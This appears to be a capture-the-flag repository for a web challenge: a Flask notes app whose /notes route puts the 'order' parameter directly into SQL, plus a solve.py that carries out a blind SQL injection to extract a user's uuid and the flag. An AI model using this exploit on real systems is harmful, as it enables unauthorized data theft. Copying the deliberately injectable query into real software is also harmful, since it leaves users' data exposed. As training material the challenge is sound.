├── .gitignore ├── DO_NOT_ACCESS └── solve.py ├── README.md ├── amazing-crypto-waf.zip ├── app ├── Dockerfile ├── __init__.py ├── app.py ├── init.py ├── schema.sql └── templates │ ├── activity.html │ ├── base.html │ ├── index.html │ └── notes.html ├── crypter ├── Dockerfile ├── __init__.py ├── app.py ├── flag ├── init.py └── start.sh └── docker-compose.yaml /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /DO_NOT_ACCESS/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from urllib.parse import quote_plus 3 | from logzero import logger 4 | s = requests.Session() 5 | 6 | DOMAIN = 'https://7b000000b33bd1934bb5647e-amazing-crypto-waf.challenge.broker.allesctf.net:31337' 7 | DOMAIN = 'https://7b0000001d9e04b064368996-amazing-crypto-waf.challenge.master.allesctf.net:31337' 8 | DOMAIN = 'https://7b00000094d41ab01b04b286-amazing-crypto-waf.challenge.master.allesctf.net:31337' 9 | 10 | r = s.post(f'{DOMAIN}/registerlogin', 11 | data={'username': 'liveoverflow','password':'xxxx'}, allow_redirects=False) 12 | 13 | # add one note so SQL query succeeds 14 | s.post(f'{DOMAIN}/add_note', 15 | data={'body': 'pwn', 'title':'flag'}, allow_redirects=False) 16 | 17 | def sqli(table, col, test, where): 18 | sqlinjection=f""",(abs((select IIF(substr({col},1,{len(test)})='{test}', -9223372036854775808, 1) from {table} {where})))--""" 19 | 20 | query=f'?order={quote_plus(sqlinjection)}' 21 | url = f'{DOMAIN}/notes{quote_plus(query)}' 22 | #logger.warning(url) 23 | r = s.get(url, allow_redirects=False) 24 | return r.content 25 | 26 | def dump(table, col, where, start='',alphabet='0123456789abcdef'): 27 | data = start 28 | new_data = True 29 | while new_data: 30 | #logger.info(data) 31 | new_data = False 32 | for c in alphabet: 33 | logger.info(data+c) 34 | if sqli(table, col, data+c, where) == b'error': 35 | new_data=True 36 | data += c 37 | break; 38 | return data 39 | 40 | uuid = dump('users', 'uuid', "WHERE username='flagger' LIMIT 1", alphabet='0123456789abcdef') 41 | #uuid = 'be42bbf7d15d4cbe83dcff7bfc07c556' 42 | logger.info(uuid) 43 | if not uuid: 44 | exit(0) 45 | 46 | flag = '' 47 | flag = dump('notes', 'body', f"WHERE user='{uuid}'", start=flag,alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz{}:') 48 | logger.info(flag) 49 | 50 | r = s.post(f'{DOMAIN}/delete_note', data={'uuid':flag}, allow_redirects=False) 51 | logger.info(r.content) 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-cryptowaf 2 | 3 | > The AmazingCryptoWAF™️ is used by the "noter" web app, 4 | > to offer automagically military encryption for any user data. 5 | > Even if an attacker is able to get access to the database, this hacker-proof 6 | > technology will protect any critical data. 7 | 8 | Checkout the video here: https://www.youtube.com/watch?v=v784VBx9w8g 9 | 10 | And a walkthrough by BugbOuntyReportsExplained: https://www.youtube.com/watch?v=ZKrABs-N9wA 11 | 12 | Solution can be founde in `DO_NOT_ACCESS` 13 | 14 | ``` 15 | docker-compose up 16 | ``` 17 | -------------------------------------------------------------------------------- /amazing-crypto-waf.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiveOverflow/ctf-cryptowaf/fbfdf3b98edf66b40d126883c4c5afb2a7e9997f/amazing-crypto-waf.zip -------------------------------------------------------------------------------- /app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3-alpine 2 | 3 | RUN apk update 4 | RUN apk add py-pip 5 | RUN pip install flask gunicorn requests logzero 6 | ENV LIBRARY_PATH=/lib:/usr/lib 7 | 8 | ADD . /app/ 9 | WORKDIR /app/ 10 | 11 | ENV PORT=5000 BIND_ADDR=0.0.0.0 12 | 13 | RUN python init.py 14 | ENTRYPOINT gunicorn -w 8 -b "${BIND_ADDR}:${PORT}" --access-logfile - --error-logfile - app:app -------------------------------------------------------------------------------- /app/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiveOverflow/ctf-cryptowaf/fbfdf3b98edf66b40d126883c4c5afb2a7e9997f/app/__init__.py -------------------------------------------------------------------------------- /app/app.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import hashlib 3 | import hmac 4 | import time 5 | import uuid 6 | import base64 7 | import socket 8 | from datetime import datetime 9 | from logzero import logger 10 | from functools import wraps 11 | import sqlite3 12 | from threading import Thread 13 | from flask import Flask, render_template, g, url_for, request, Response 14 | 15 | # run the server: python -m flask run --host=0.0.0.0 --port=5000 16 | 17 | SECRET = open('/tmp/secret', 'rb').read() 18 | 19 | DATABASE = 'sqlite.db' 20 | app = Flask(__name__) 21 | app.config['TEMPLATES_AUTO_RELOAD'] = True 22 | 23 | 24 | def redirect(location): 25 | "drop-in replacement for flask's redirect that doesn't sanitize the redirect target URL" 26 | response = Response(f'Redirecting... to {location}', 302, mimetype="text/html") 27 | response.headers["Location"] = location 28 | response.headers["Content-Type"] = 'text/plain' 29 | response.autocorrect_location_header = False 30 | return response 31 | 32 | 33 | def signature(s): 34 | ''' 35 | generate a hmac signature for a given string 36 | ''' 37 | 38 | m = hmac.new(SECRET, digestmod=hashlib.sha256) 39 | m.update(s.encode('ascii')) 40 | return m.hexdigest() 41 | 42 | def get_db(): 43 | ''' 44 | helper function to get a sqlite database connection 45 | ''' 46 | db = getattr(g, '_database', None) 47 | if db is None: 48 | db = g._database = sqlite3.connect(DATABASE) 49 | db.row_factory = sqlite3.Row 50 | return db 51 | 52 | @app.teardown_appcontext 53 | def close_connection(exception): 54 | ''' 55 | helper function to close the database connection 56 | ''' 57 | db = getattr(g, '_database', None) 58 | if db is not None: 59 | db.close() 60 | 61 | def query_db(query, args=(), one=False): 62 | ''' 63 | helper function to do a SQL query like select 64 | ''' 65 | cur = get_db().execute(query, args) 66 | rv = cur.fetchall() 67 | cur.close() 68 | return (rv[0] if rv else None) if one else rv 69 | 70 | def commit_db(query, args=()): 71 | ''' 72 | helper function to do SQl queries like insert into 73 | ''' 74 | get_db().cursor().execute(query, args) 75 | get_db().commit() 76 | 77 | def login_required(f): 78 | ''' 79 | login required decorator to ensure g.user exists 80 | ''' 81 | @wraps(f) 82 | def decorated_function(*args, **kwargs): 83 | if 'user' not in g or g.user == None: 84 | return redirect('/logout') 85 | return f(*args, **kwargs) 86 | return decorated_function 87 | 88 | 89 | @app.before_request 90 | def before_request(): 91 | ''' 92 | session middleware. checks if we have a valid session and sets g.user 93 | ''' 94 | # request - flask.request 95 | if 'session' not in request.cookies: 96 | return None 97 | session = request.cookies['session'].split('.') 98 | if not len(session) == 2: 99 | return None 100 | 101 | key, sig = session 102 | if not hmac.compare_digest(sig, signature(key)): 103 | return None 104 | g.user= query_db('select * from users where uuid = ?', 105 | [key], one=True) 106 | 107 | 108 | 109 | @app.route('/') 110 | def index(): 111 | return render_template('index.html') 112 | 113 | @app.route('/logout') 114 | def logout(): 115 | response = redirect("/") 116 | response.set_cookie('session', '', expires=0) 117 | return response 118 | 119 | @app.route('/notes') 120 | @login_required 121 | def notes(): 122 | order = request.args.get('order', 'desc') 123 | notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']]) 124 | return render_template('notes.html', user=g.user, notes=notes) 125 | 126 | 127 | @app.route('/delete_note', methods=['POST']) 128 | @login_required 129 | def delete_note(): 130 | user = g.user['uuid'] 131 | note_uuid = request.form['uuid'] 132 | commit_db('delete from notes where uuid = ? and user = ?', [note_uuid, user]) 133 | return redirect(f'/notes?deleted={note_uuid}') 134 | 135 | @app.route('/add_note', methods=['POST']) 136 | @login_required 137 | def add_note(): 138 | new_note_uuid = uuid.uuid4().hex 139 | user = g.user['uuid'] 140 | title = request.form['title'] 141 | body = request.form['body'] 142 | 143 | commit_db('insert into notes (uuid, user, title, body) values (?, ?, ?, ?)', 144 | [new_note_uuid, user, title, body]) 145 | return redirect('/notes') 146 | 147 | @app.route('/registerlogin', methods=['POST']) 148 | def registerlogin(): 149 | username = request.form['username'] 150 | password = request.form['password'] 151 | pwhash = hashlib.sha256(password.encode('utf-8')).hexdigest() 152 | user = query_db('select * from users where username = ? and password = ?', 153 | [username, pwhash], one=True) 154 | 155 | if not user: 156 | # new user. let's create it in the database 157 | new_user_uuid = uuid.uuid4().hex 158 | commit_db('insert into users (uuid, username, password) values (?, ?, ?)', 159 | [new_user_uuid, username, pwhash]) 160 | user= query_db('select * from users where uuid = ?', [new_user_uuid], one=True) 161 | 162 | # calculate signature for cookie 163 | key = user['uuid'] 164 | sig = signature(user['uuid']) 165 | response = redirect('/notes') 166 | response.set_cookie('session', f'{key}.{sig}') 167 | return response 168 | 169 | -------------------------------------------------------------------------------- /app/init.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import uuid 3 | from logzero import logger 4 | import hashlib 5 | 6 | # make sure we have a secret for the app 7 | try: 8 | SECRET = open('/tmp/secret', 'rb').read() 9 | logger.info(f'found secret file: {SECRET}') 10 | except FileNotFoundError: 11 | SECRET = uuid.uuid4().bytes 12 | with open('/tmp/secret', 'wb') as f: 13 | f.write(SECRET) 14 | 15 | 16 | # init database 17 | db = sqlite3.connect('sqlite.db') 18 | 19 | with open('schema.sql', 'r') as f: 20 | db.cursor().executescript(f.read()) 21 | db.commit() 22 | 23 | -------------------------------------------------------------------------------- /app/schema.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE `users` ( 2 | `uuid` varchar(36) PRIMARY KEY NOT NULL, 3 | `username` varchar(32) NOT NULL default '', 4 | `password` varchar(64) NOT NULL default '' 5 | ); 6 | CREATE UNIQUE INDEX `useruuid` ON `users`(`uuid`); 7 | 8 | CREATE TABLE `notes` ( 9 | `uuid` varchar(36) PRIMARY KEY NOT NULL, 10 | `timestamp` DATETIME DEFAULT CURRENT_TIMESTAMP, 11 | `user` varchar(36) NOT NULL, 12 | `title` varchar(64) NOT NULL default '', 13 | `body` TEXT NOT NULL default '' 14 | ); 15 | 16 | CREATE UNIQUE INDEX `noteuuid` ON `notes`(`uuid`); 17 | CREATE INDEX `noteuser` ON `notes`(`user`); 18 | 19 | CREATE TABLE `logs` ( 20 | `id` INTEGER PRIMARY KEY, 21 | `msg` varchar(512) NOT NULL default '', 22 | `timestamp` DATETIME DEFAULT CURRENT_TIMESTAMP 23 | ); 24 | CREATE UNIQUE INDEX `logid` ON `logs`(`id`); -------------------------------------------------------------------------------- /app/templates/activity.html: -------------------------------------------------------------------------------- 1 | 2 | {% extends "base.html" %} 3 | {% block content %} 4 | 5 |
{{ note.body }}44 |